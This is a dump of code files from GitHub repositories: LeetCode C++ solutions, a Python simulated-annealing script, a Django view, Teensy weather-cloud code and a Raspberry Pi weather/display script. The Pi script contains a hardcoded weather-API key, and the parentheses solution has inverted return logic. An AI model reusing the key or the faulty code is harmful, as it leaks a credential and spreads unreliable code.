931,\n \"license_type\": \"no_license\",\n \"max_line_length\": 66,\n \"num_lines\": 33,\n \"path\": \"/leetcode/leetcode16.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 16.最接近的三数之和\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n int threeSumClosest(vector<int>& nums, int target) {\\r\\n int res = 20000;\\r\\n sort(nums.begin(), nums.end());\\r\\n int i = 0;\\r\\n while (i < nums.size())\\r\\n {\\r\\n int left = i+1, right = nums.size()-1;\\r\\n while(left < right)\\r\\n {\\r\\n int temp = nums[i] + nums[left] + nums[right];\\r\\n if(abs(temp-target) < abs(res-target)){\\r\\n res = temp;\\r\\n }\\r\\n if(temp == target){\\r\\n i = nums.size();\\r\\n break;\\r\\n } else if(temp > target){\\r\\n right--;\\r\\n } else left++;\\r\\n }\\r\\n while(i < nums.size()-2 && nums[i] == nums[i+1]){i++;}\\r\\n i++;\\r\\n }\\r\\n return res;\\r\\n }\\r\\n};\"\n },\n {\n \"alpha_fraction\": 0.4316239356994629,\n \"alphanum_fraction\": 0.44871795177459717,\n \"avg_line_length\": 22.736841201782227,\n \"blob_id\": \"684034e1811754607e34254aaf89f46f29183b6c\",\n \"content_id\": \"0ce763531aba0f3686fe139e8e9b8d827be5609a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 486,\n \"license_type\": \"no_license\",\n \"max_line_length\": 46,\n \"num_lines\": 19,\n \"path\": \"/leetcode/leetcode657.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 657. 机器人能否返回原点\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n bool judgeCircle(string moves) {\\r\\n int row = 0, col = 0;\\r\\n for(int i = 0; i < moves.size(); i++){\\r\\n if(moves[i] == 'R') row++;\\r\\n else if(moves[i] == 'L') row--;\\r\\n else if(moves[i] == 'U') col++;\\r\\n else col--;\\r\\n }\\r\\n if(row == 0 && col == 0) return true;\\r\\n return false;\\r\\n }\\r\\n};\"\n },\n {\n \"alpha_fraction\": 0.3288690447807312,\n \"alphanum_fraction\": 0.3333333432674408,\n \"avg_line_length\": 24.39215660095215,\n \"blob_id\": \"d533ac1d644d8329ed3ac5e5a26b650146c86736\",\n \"content_id\": \"ce0aea992e93d7cba1892090995bbff5ec7ad589\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1354,\n \"license_type\": \"no_license\",\n \"max_line_length\": 65,\n \"num_lines\": 51,\n \"path\": \"/leetcode/leetcode20.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 20. 有效的括号\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n bool isValid(string s) {\\r\\n stack<char> stk;\\r\\n stk.push(s[0]);\\r\\n for(int i = 1;i < s.length();i++){\\r\\n if(!stk.empty() && check(stk.top(), s[i])) stk.pop();\\r\\n else stk.push(s[i]);\\r\\n }\\r\\n if(!stk.empty()) return true;\\r\\n else return false;\\r\\n\\r\\n }\\r\\n bool check(char a, char b){\\r\\n if(a == '(' && b ==')') return true;\\r\\n else if(a == '[' && b == ']') return true;\\r\\n else if(a == '{' && b == '}') return true;\\r\\n else return false;\\r\\n }\\r\\n};\\r\\n\\r\\n// class Solution {\\r\\n// public:\\r\\n// bool isValid(string s) {\\r\\n// if(s.size()==0)return true;\\r\\n// stack<char>s_;\\r\\n// int i=0;\\r\\n// while(s[i]){\\r\\n// if(!s_.empty()){\\r\\n// char a=s_.top();\\r\\n// if(s[i]==')'&&a=='(')\\r\\n// s_.pop();\\r\\n// else if(s[i]=='}'&&a=='{')\\r\\n// s_.pop();\\r\\n// else if(s[i]==']'&&a=='[')\\r\\n// s_.pop();\\r\\n// else\\r\\n// s_.push(s[i]);\\r\\n// }\\r\\n// else\\r\\n// s_.push(s[i]);\\r\\n// i++;\\r\\n// }\\r\\n// return s_.empty();\\r\\n// }\\r\\n// };\"\n },\n {\n \"alpha_fraction\": 0.46123260259628296,\n \"alphanum_fraction\": 0.47514909505844116,\n \"avg_line_length\": 22.047618865966797,\n \"blob_id\": \"4041327d8f81301d6cc0491627a97cab5613b93d\",\n \"content_id\": \"3efe70b6d34a0034870204ce0bb3efe0eee0a095\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 521,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 21,\n \"path\": \"/leetcode/leetcode686.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 686. 重复叠加字符串匹配\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n int repeatedStringMatch(string a, string b) {\\r\\n if(a.empty() || b.empty()) return -1;\\r\\n int res = 1;\\r\\n string temp = a;\\r\\n int aSize = a.size(), bSize = b.size();\\r\\n while (temp.find(b) == string::npos)\\r\\n {\\r\\n if(temp.size() > aSize * 2 + bSize) return -1;\\r\\n temp += a;\\r\\n res++;\\r\\n }\\r\\n return res;\\r\\n }\\r\\n};\"\n },\n {\n \"alpha_fraction\": 0.4554242789745331,\n \"alphanum_fraction\": 0.47878625988960266,\n \"avg_line_length\": 27.72800064086914,\n \"blob_id\": \"1e9b3c712a7432dd270e0a0940fafbda2ce8d903\",\n \"content_id\": \"73b3b84d04c6276f45d01bbb506e6271a0b0aeb0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4046,\n \"license_type\": \"no_license\",\n \"max_line_length\": 101,\n \"num_lines\": 125,\n \"path\": \"/python/SA.py\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import numpy as np\\r\\nimport matplotlib.pyplot as plt\\r\\n\\r\\n\\r\\n# 计算函数 f(x,y) = 5cos(xy) + xy + y^3 的最小值\\r\\n# x ∈ [ -5, 5 ] y ∈ [-5，5 ]\\r\\nclass Particle:\\r\\n def __init__(self, res):\\r\\n self.res = res\\r\\n self.score = -1\\r\\n\\r\\n\\r\\nclass SA:\\r\\n def __init__(self, scoreFunc):\\r\\n # 评分函数\\r\\n self.scoreFunc = scoreFunc\\r\\n # 退火速率\\r\\n self.lamda = 0.9\\r\\n # 初始温度\\r\\n self.T = 1000\\r\\n # 终止条件\\r\\n self.Tmin = 1\\r\\n # 解集\\r\\n self.Solutions = []\\r\\n # 解数量\\r\\n self.solutionNums = 20\\r\\n # 最优解\\r\\n self.Optimal = None\\r\\n # 局部最优解\\r\\n self.localOptimal = None\\r\\n # 每个 T的迭代次数\\r\\n self.iterTimes = 100\\r\\n # 系数 K\\r\\n self.K = 1\\r\\n\\r\\n self.initialize()\\r\\n\\r\\n # 初始化\\r\\n def initialize(self):\\r\\n self.Solutions = []\\r\\n self.T = 1000\\r\\n # 根据变量范围生成初始解\\r\\n for i in range(self.solutionNums):\\r\\n res = [np.random.uniform(-5, 5), np.random.uniform(-5, 5)]\\r\\n particle = Particle(res)\\r\\n self.Solutions.append(particle)\\r\\n\\r\\n # 评价解集\\r\\n def score(self):\\r\\n self.localOptimal = self.Solutions[0]\\r\\n for particle in self.Solutions:\\r\\n # 1. 计算能量\\r\\n particle.score = self.scoreFunc(particle)\\r\\n # 2. 更新全局最优解\\r\\n if particle.score > self.Optimal.score:\\r\\n self.Optimal = particle\\r\\n # 3. 更新局部最优解\\r\\n if particle.score > self.localOptimal.score:\\r\\n self.localOptimal = particle\\r\\n\\r\\n # 交换概率\\r\\n def Probability(self, p_old, p_new):\\r\\n if p_new.score > p_old.score:\\r\\n return 1\\r\\n else:\\r\\n return np.exp((p_old.score - p_new.score) / (self.K * self.T))\\r\\n\\r\\n # 在当前解附近搜索新解\\r\\n def search(self, p):\\r\\n x = sorted([-5, 5, p.res[0] + np.random.uniform(-1, 1)])[1]\\r\\n y = sorted([-5, 5, p.res[1] + np.random.uniform(-1, 1)])[1]\\r\\n p_new = Particle([x, y])\\r\\n return p_new\\r\\n\\r\\n # 迭代过程\\r\\n def iteration(self):\\r\\n n = 0\\r\\n while n <= self.iterTimes:\\r\\n # 1. 计算解集评分\\r\\n self.score()\\r\\n # 2. 扰动解集\\r\\n for i in range(self.solutionNums):\\r\\n p = self.Solutions[i]\\r\\n p_new = self.search(p)\\r\\n # 3. 依概率更新解集\\r\\n if (np.random.random() < self.Probability(p, p_new)):\\r\\n self.Solutions[i] = p_new\\r\\n n += 1\\r\\n\\r\\n # 降温\\r\\n def cooling(self):\\r\\n # 初始化\\r\\n g_scores, l_scores = [], []\\r\\n self.Optimal = self.Solutions[0]\\r\\n # 1. 判断终止条件\\r\\n while self.T > self.Tmin:\\r\\n # 2. 该温度下迭代\\r\\n self.iteration()\\r\\n # 3. 记录当前温度下的局部最优解\\r\\n print(f'{round(self.T, 5)}:{-round(self.localOptimal.score, 5)}:{self.localOptimal.res}')\\r\\n g_scores.append(-round(self.Optimal.score, 4))\\r\\n l_scores.append(-round(self.localOptimal.score, 4))\\r\\n # 4. 降温\\r\\n self.T *= self.lamda\\r\\n print(f\\\"最优解：{self.Optimal.res}:{-round(self.Optimal.score, 4)}\\\")\\r\\n self.display(g_scores, l_scores)\\r\\n\\r\\n # 结果可视化\\r\\n def display(self, res1, res2):\\r\\n fig, ax = plt.subplots(1, 2, figsize=(10, 4))\\r\\n ax[0].plot(res1, color='lightcoral')\\r\\n ax[0].set_title(\\\"Global Optimal\\\", color='r')\\r\\n ax[0].set_xlabel(\\\"iteration\\\")\\r\\n ax[0].set_ylabel(\\\"score\\\")\\r\\n\\r\\n ax[1].plot(res2, color='#4b5cc4')\\r\\n ax[1].set_title(\\\"Local Optimal\\\", color='r')\\r\\n ax[1].set_xlabel(\\\"iteration\\\")\\r\\n ax[1].set_ylabel(\\\"score\\\")\\r\\n plt.show()\\r\\n\\r\\n\\r\\nif __name__ == \\\"__main__\\\":\\r\\n sa = SA(lambda p: -(5 * np.cos(p.res[0] * p.res[1]) + p.res[0] * p.res[1] + pow(p.res[1], 3)))\\r\\n sa.cooling()\\r\\n\\r\\n \\r\\n\"\n },\n {\n \"alpha_fraction\": 0.38923075795173645,\n \"alphanum_fraction\": 0.41846153140068054,\n \"avg_line_length\": 20.482759475708008,\n \"blob_id\": \"f214009015b61657dbc92dd80552339b61455a40\",\n \"content_id\": \"a4db3ca5978961b95defd92eb7192499804b4d4d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 658,\n \"license_type\": \"no_license\",\n \"max_line_length\": 60,\n \"num_lines\": 29,\n \"path\": \"/leetcode/leetcode7.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 7.整数翻转\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n int reverse(int x){\\r\\n queue<int> que;\\r\\n int temp,count=0;\\r\\n long long result=0;\\r\\n bool flag = false;\\r\\n if(x<0){flag = true;}\\r\\n while (x != 0){\\r\\n temp = x%10;\\r\\n que.push(temp);\\r\\n x = x/10;\\r\\n count++;\\r\\n }\\r\\n while (!que.empty()){\\r\\n result = result + que.front()*(pow(10,--count));\\r\\n que.pop();\\r\\n }\\r\\n if(result>=pow(2,31)-1 || result<=-pow(2,31)){\\r\\n return 0;\\r\\n }\\r\\n return result;\\r\\n }\\r\\n};\"\n },\n {\n \"alpha_fraction\": 0.4656991958618164,\n \"alphanum_fraction\": 0.48218998312950134,\n \"avg_line_length\": 24.172412872314453,\n \"blob_id\": \"bd17e0fdab18c0ae792735721511dabfc06a524d\",\n \"content_id\": \"db20962785e06daa1e4aae3de1032df30a05ef22\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 2118,\n \"license_type\": \"no_license\",\n \"max_line_length\": 61,\n \"num_lines\": 58,\n \"path\": \"/leetcode/leetcode3.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 3.无重复最长子串\\r\\n\\r\\n// Solution 1\\r\\n// 从第一位扫描，每次将未出现过的字符保存进 map\\r\\n// 当发现重复字符，更新最大长度，从该重复字符第一次出现的位置的下一位开始扫描\\r\\n// 这么写结果的 时间复杂度、空间复杂度都很高\\r\\nclass Solution {\\r\\npublic:\\r\\n int lengthOfLongestSubstring(string s) {\\r\\n if (s == \\\"\\\") return 0;\\r\\n map<char,int> mp; // 字符、索引\\r\\n int res = 0, MAX_Length = 0, i = 0;\\r\\n int length = s.size();\\r\\n while (i < length) {\\r\\n map<char,int>:: iterator iter = mp.find(s[i]);\\r\\n if (iter != mp.end()) { // 出现重复字符\\r\\n i = iter->second + 1;\\r\\n mp.clear();\\r\\n MAX_Length = max(res, MAX_Length);\\r\\n res = 0;\\r\\n } else {\\r\\n mp[s[i]] = i;\\r\\n res += 1;\\r\\n i++;\\r\\n }\\r\\n }\\r\\n return max(res, MAX_Length);\\r\\n }\\r\\n};\\r\\n\\r\\n// Solution 2\\r\\n// 采用滑动窗口\\r\\n/* \\r\\n s：输入的字符串\\r\\n i：最长子字符串的起点数组下标\\r\\n j：最长子字符串的终点数组下标\\r\\n ans：最长子字符串长度\\r\\n str[]：下标(序号)表示 \\\"字符\\\"，储存的值表示该字符位置+1\\r\\n*/\\r\\nint lengthOfLongestSubstring(string s) {\\r\\n vector<int> str(128,0); // 初始将所有值都设为0\\r\\n int i = 0, ans = 0;\\r\\n for (int j = 0;j < s.size();j++) // 在整个字符串长度之内\\r\\n {\\r\\n /* \\r\\n 1.如果当前字符在之前没出现过，那么其值肯定是0，不会改变当前扫描起点\\r\\n 2.如果s[j]出现过，则其值一定大于0：如果起点i小于str[s[j]]，说明重复的字符在当前的子串内，\\r\\n 此时应该切换扫描起点至s[j]上一次出现位置的下一位(str[s[j]]储存的值)，重新扫描\\r\\n */\\r\\n i = max(i, str[s[j]]); \\r\\n str[s[j]] = j + 1; // 当前字符的坐标更新\\r\\n ans = max(ans, j-i+1); // 比较哪个距离更大\\r\\n }\\r\\n return ans;\\r\\n}\"\n },\n {\n \"alpha_fraction\": 0.43491125106811523,\n \"alphanum_fraction\": 0.4467455744743347,\n \"avg_line_length\": 18,\n \"blob_id\": \"5ade1709c7ca452379d5087453161af8690399e2\",\n \"content_id\": \"ae4da83242f6cae056c7528cc245c6522a9d012b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 346,\n \"license_type\": \"no_license\",\n \"max_line_length\": 51,\n \"num_lines\": 17,\n \"path\": \"/leetcode/leetcode27.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 27.移出元素\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n int removeElement(vector<int>& nums, int val) {\\r\\n int k = 0;\\r\\n for(int i = 0;i<nums.size();i++){\\r\\n if(nums[i]!=val){\\r\\n nums[k++] = nums[i];\\r\\n }\\r\\n }\\r\\n return k;\\r\\n }\\r\\n};\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":36,"string":"36"}}},{"rowIdx":2978320,"cells":{"repo_name":{"kind":"string","value":"abhishek11cse134/djangorestcrud"},"repo_url":{"kind":"string","value":"https://github.com/abhishek11cse134/djangorestcrud"},"snapshot_id":{"kind":"string","value":"6a5cadeb5ca90f634daeeef07945bd6d169629b6"},"revision_id":{"kind":"string","value":"c69ce5d0d2eb878ba4b28e6e5f154d1dc9dcb297"},"directory_id":{"kind":"string","value":"fe0e292ee5d2e9f47ecaa8eb42f0f7081b3f3a0d"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-06-29T08:36:02.913498","string":"2020-06-29T08:36:02.913498"},"revision_date":{"kind":"timestamp","value":"2019-03-05T12:12:27","string":"2019-03-05T12:12:27"},"committer_date":{"kind":"timestamp","value":"2019-03-05T12:12:27","string":"2019-03-05T12:12:27"},"github_id":{"kind":"number","value":200488376,"string":"200,488,376"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7744107842445374,"alphanum_fraction":0.7744107842445374,"avg_line_length":26.090909957885742,"blob_id":"438a7d21e5ad28af1b84304c9ef37b379032540c","content_id":"ef6cd0d538eb767a0fc123a909af8857f771ad76","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":297,"license_type":"no_license","max_line_length":67,"num_lines":11,"path":"/Apidev/views.py","repo_name":"abhishek11cse134/djangorestcrud","src_encoding":"UTF-8","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom django.http import HttpResponse\nfrom django.views.generic import TemplateView\n\n\ndef index(request):\n return HttpResponse(\"Hello, world. You're at the polls index.\")\nclass Homeview(TemplateView):\n template_name = \"home.html\""}],"string":"[\n {\n \"alpha_fraction\": 0.7744107842445374,\n \"alphanum_fraction\": 0.7744107842445374,\n \"avg_line_length\": 26.090909957885742,\n \"blob_id\": \"438a7d21e5ad28af1b84304c9ef37b379032540c\",\n \"content_id\": \"ef6cd0d538eb767a0fc123a909af8857f771ad76\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 297,\n \"license_type\": \"no_license\",\n \"max_line_length\": 67,\n \"num_lines\": 11,\n \"path\": \"/Apidev/views.py\",\n \"repo_name\": \"abhishek11cse134/djangorestcrud\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.shortcuts import render\\n\\n# Create your views here.\\nfrom django.http import HttpResponse\\nfrom django.views.generic import TemplateView\\n\\n\\ndef index(request):\\n return HttpResponse(\\\"Hello, world. You're at the polls index.\\\")\\nclass Homeview(TemplateView):\\n template_name = \\\"home.html\\\"\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":1,"string":"1"}}},{"rowIdx":2978321,"cells":{"repo_name":{"kind":"string","value":"Chace0219/RPI-Teensy-Weather-Monitor"},"repo_url":{"kind":"string","value":"https://github.com/Chace0219/RPI-Teensy-Weather-Monitor"},"snapshot_id":{"kind":"string","value":"099b982b2c9b28370d40ac4db7c3897b473a5914"},"revision_id":{"kind":"string","value":"8a1f5d98f46164b6eb9145db6a9e656e68ff0e3f"},"directory_id":{"kind":"string","value":"897208c562dfb8cb20e8cfa7bd6bbc06eef49acd"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-03-08T16:36:12.309575","string":"2020-03-08T16:36:12.309575"},"revision_date":{"kind":"timestamp","value":"2018-04-06T21:33:19","string":"2018-04-06T21:33:19"},"committer_date":{"kind":"timestamp","value":"2018-04-06T21:33:19","string":"2018-04-06T21:33:19"},"github_id":{"kind":"number","value":128243949,"string":"128,243,949"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.622558057308197,"alphanum_fraction":0.6642093658447266,"avg_line_length":23.889907836914062,"blob_id":"074d31d8b3d4c7d6cb1266cbe3b4ff86cfe7bb9b","content_id":"5897e4ce8ade8aaa064f1fad95984754b471fce5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":2713,"license_type":"no_license","max_line_length":83,"num_lines":109,"path":"/TeensySide.ino","repo_name":"Chace0219/RPI-Teensy-Weather-Monitor","src_encoding":"UTF-8","text":"// Screen Pins\n#define sclk 13\n#define mosi 11\n#define dc 9\n#define cs 10\n#define rst 8\n\n// Color definitions\n#define\tBLACK 0x0000\n#define\tBLUE 0x001F\n#define\tRED 0xF800\n#define\tGREEN 0x07E0\n#define CYAN 0x07FF\n#define MAGENTA 0xF81F\n#define YELLOW 0xFFE0 \n#define WHITE 0xFFFF\n\n//#include <Lighting.h>\n#include <avr/io.h>\n#include <avr/interrupt.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1351.h>\n#include <Adafruit_PWMServoDriver.h>\n#include <SPI.h>\n#include <Wire.h>\n#include <Stepper.h>\n#include <Lightning.h>\n#include <RainMaker.h>\n#include <WeatherCloud.h>\n\n\n//Screen library for Teensy screen\nAdafruit_SSD1351 tft = Adafruit_SSD1351(cs, dc, mosi, sclk, rst); \n\n//Start STEPPER CLOUD\nvoid CloudComplete();\nWeatherCloud weatherCloud(3, 4, 5, 6, &CloudComplete);\n\nvoid CloudComplete() {\n Serial.println(\"Cloud DONE\");\n}\n\n//Interrupt for cloud stepper motor top bounds\nvoid pin_ISR() {\n weatherCloud.HandleInterrupt();\n Serial.println(\"Interrupt complete\");\n} \n\nvoid setup() {\n Serial.begin(9600);\n\n Serial.println(\"Start cloud setup\");\n \n attachInterrupt(digitalPinToInterrupt(2), pin_ISR, CHANGE);\n \n weatherCloud.setSpeed(1600);\n weatherCloud.Initialise();\n Serial.println(\"End cloud initialise home\");\n weatherCloud.stepperStatus = FORWARD;\n\n Serial.println(weatherCloud.stepperStatus);\n Serial.println(\"End cloud setup\");\n \n Serial.print(\"hello!\");\n tft.begin();\n}\n\nvoid loop() {\n Serial.println(\"Updating Cloud\");\n weatherCloud.Update();\n \n// // Drive each servo one at a time\n// Serial.println(servonum);\n// for (uint16_t pulselen = SERVOMIN; pulselen < SERVOMAX; pulselen++) {\n// pwm.setPWM(servonum, 0, pulselen);\n// }\n//\n// //delay(500);\n// for (uint16_t pulselen = SERVOMAX; pulselen > SERVOMIN; pulselen--) {\n// pwm.setPWM(servonum, 0, pulselen);\n// }\n//\n// //delay(500);\n//\n// servonum ++;\n// if (servonum > 7) servonum = 0;\n}\n\n//// you can use this function if you'd like to set the pulse length in seconds\n//// e.g. setServoPulse(0, 0.001) is a ~1 millisecond pulse width. its not precise!\n//void setServoPulse(uint8_t n, double pulse) {\n// double pulselength;\n// \n// pulselength = 1000000; // 1,000,000 us per second\n// pulselength /= 60; // 60 Hz\n// Serial.print(pulselength); Serial.println(\" us per period\"); \n// pulselength /= 4096; // 12 bits of resolution\n// Serial.print(pulselength); Serial.println(\" us per bit\"); \n// pulse *= 1000;\n// pulse /= pulselength;\n// Serial.println(pulse);\n// pwm.setPWM(n, 0, pulse);\n//}\n\nvoid testdrawtext(char *text, uint16_t color) {\n tft.setCursor(0,0);\n tft.setTextColor(color);\n tft.print(text);\n}\n"},{"alpha_fraction":0.7051831483840942,"alphanum_fraction":0.7310987114906311,"avg_line_length":28.541139602661133,"blob_id":"b28ac1b38ded8c0a483f8e2b54f92c328f010bf3","content_id":"78faeb8f9d8f19f7d4460211b464c3d5d3cad253","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":9338,"license_type":"no_license","max_line_length":117,"num_lines":316,"path":"/Mqtt2Arduino.py","repo_name":"Chace0219/RPI-Teensy-Weather-Monitor","src_encoding":"UTF-8","text":"\n### Logging function package in order to display AWS Connection and callback messages\nimport sys\nimport logging\n\n### Time package, used to implement thread and timing in RPI\nimport time\n\n### JSON Processing Python package\nimport json\n\n### URL Processing Package, used to download images from URL provided in JSON via MQTT for user photos \nimport urllib\nimport urllib2\nimport datetime\n\nfrom PyCRC.CRC32 import CRC32\n\n'''\nInstall from pip\npip install AWSIoTPythonSDK\n\nDownload and Build from source in Git Hub\n\ngit clone https://github.com/aws/aws-iot-device-sdk-python.git\ncd aws-iot-device-sdk-python\nsudo python setup.py install\n'''\nfrom AWSIoTPythonSDK.MQTTLib import AWSIoTMQTTClient ## AWS IOt MQTT Client Library \n\n### SPI and GPIO package for Raspberry PI Python\n'''\nsudo apt-get update\nsudo apt-get install build-essential python-pip python-dev python-smbus git\ngit clone https://github.com/adafruit/Adafruit_Python_GPIO.git\ncd Adafruit_Python_GPIO\nsudo python setup.py install\n'''\nimport Adafruit_GPIO.SPI as SPI\n\n#SSD1351 driver port from original adafruit driver using Python. It is based on the SPI interface.\n'''\ngit clone https://github.com/twchad/Adafruit_Python_SSD1351.git\ncd Adafruit_Python_SSD1351\nsudo python setup.py install\n'''\nimport Adafruit_SSD1351\n\n# Image Library used for photos on screen\nimport Image\n\n\n'''\n\ttar -xzf crc16-0.1.1.tar.gz\n\tcd crc16-0.1.1\n\tpython setup.py build\n\tsudo python setup.py install\n'''\nimport crc16\n\n# this is for UART for Raspberry Pi\nimport serial # Referenced from https://pypi.python.org/pypi/pyserial/2.7 \n\nimport threading, time\n\nfrom json import load\nfrom urllib2 import urlopen\n\n'''\n\tFunction for getting public ip of current RPI\n'''\ndef GetPublicIPAddr():\n\tmy_ip = load(urlopen('http://jsonip.com'))['ip']\n\treturn my_ip\n\nWunderAPIKey = \"973c64631b35d69e\"\n\ndef GetWeatherInfo():\n\tAPIRequest = \"http://api.wunderground.com/api/\"\n\tAPIRequest += WunderAPIKey\n\tAPIRequest += \"/geolookup/conditions/astronomy/q/autoip.json?geo_ip=\"\n\tAPIRequest += GetPublicIPAddr()\n\t\n\tprint APIRequest\n\n\tf = urllib2.urlopen(APIRequest)\n\tjson_string = f.read()\n\tparsed_json = json.loads(json_string)\n\tlocation = parsed_json['location']['city']\n\ttemp_c = parsed_json['current_observation']['temp_c']\n\tweather_des = parsed_json['current_observation']['weather']\n\tprecip_today_metric = parsed_json['current_observation']['precip_today_metric']\n\tprint \"precip_today_metric %s\" % (precip_today_metric)\n\tprint \"Current temperature in %s is: %s celcius degree and %s.\" % (location, temp_c, weather_des)\n\t\n\tcurrtime = parsed_json['moon_phase']['current_time']['hour'] + \":\"\n\tcurrtime += parsed_json['moon_phase']['current_time']['minute']\n\tcurrtime += \":00\"\n\tprint \"Current time %s\" % (currtime)\n\t\n\tsunrise = parsed_json['moon_phase']['sunrise']['hour'] + \":\"\n\tsunrise += parsed_json['moon_phase']['sunrise']['minute']\n\tsunrise += \":00\"\n\tprint \"sunrise time %s\" % (sunrise)\n\n\tsunset = parsed_json['moon_phase']['sunset']['hour'] + \":\"\n\tsunset += parsed_json['moon_phase']['sunset']['minute']\n\tsunset += \":00\"\n\tprint \"sunset time %s\" % (sunset)\n\n\tmoonrise = parsed_json['moon_phase']['moonrise']['hour'] + \":\"\n\tmoonrise += parsed_json['moon_phase']['moonrise']['minute']\n\tmoonrise += \":00\"\n\tprint \"moonrise time %s\" % (moonrise)\n\n\tmoonset = parsed_json['moon_phase']['moonset']['hour'] + \":\"\n\tmoonset += parsed_json['moon_phase']['moonset']['minute']\n\tmoonset += \":00\"\n\tprint \"moonset time %s\" % (moonset)\n\n\tMyDateTime = datetime.datetime.now()\n\t#print datetime.datetime.now()\n\n\tdate = MyDateTime.strftime(\"%d/%m/%y\")\n\tprint \"current date time %s\" % (date)\n\n\tdata = {\"weatherinfo\" : {}}\n\tdata['weatherinfo']['temp_c'] = temp_c\n\tdata['weatherinfo']['date'] = date\n\tdata['weatherinfo']['weather'] = weather_des\n\tdata['weatherinfo']['precipitation'] = precip_today_metric\n\tdata['weatherinfo']['currtime'] = currtime\n\tdata['weatherinfo']['sunrise'] = sunrise\n\tdata['weatherinfo']['sunset'] = sunset\n\tdata['weatherinfo']['moonrise'] = moonrise\n\tdata['weatherinfo']['moonset'] = moonset\n\tjson_data = json.dumps(data)\n\tprint json_data\n\tf.close()\t\n\n\tUARTWrite(json_data)\n\n# Raspberry Pi pin configuration for SSD1351:\nRST0 = 5\nRST1 = 6\n# Note the following are only used with SPI:\nDC0 = 24\nDC1 = 23\n\n# SPI Port definition. \nSPI_PORT = 0\nSPI_DEVICE0 = 0\nSPI_DEVICE1 = 1\n\n# 128x96 display instance with hardware SPI:\nLCD0 = Adafruit_SSD1351.SSD1351_128_96(rst=RST0, dc=DC0, spi=SPI.SpiDev(SPI_PORT, SPI_DEVICE0, max_speed_hz=8000000))\nLCD1 = Adafruit_SSD1351.SSD1351_128_96(rst=RST1, dc=DC1, spi=SPI.SpiDev(SPI_PORT, SPI_DEVICE1, max_speed_hz=8000000))\n\n# Initialize library.\nLCD0.begin()\nLCD1.begin()\n\n# Clear display.\nLCD0.clear()\nLCD1.clear()\n\n## CRC16 temp variable for CRC16 CCIT \ncrc = bytearray([0, 0, 0, 0]) \n\n### UART Write function\ndef UARTWrite(data):\n\t# Serial Port open, this is different than in RPI 2 or other RPI devices.\n\t# There is an issue with the pi3 revision b\n\tserialport = serial.Serial(\"/dev/ttyS0\", 115200, timeout=0.5) # Baudrate 9600, Timeout 0.5sec\n\t# 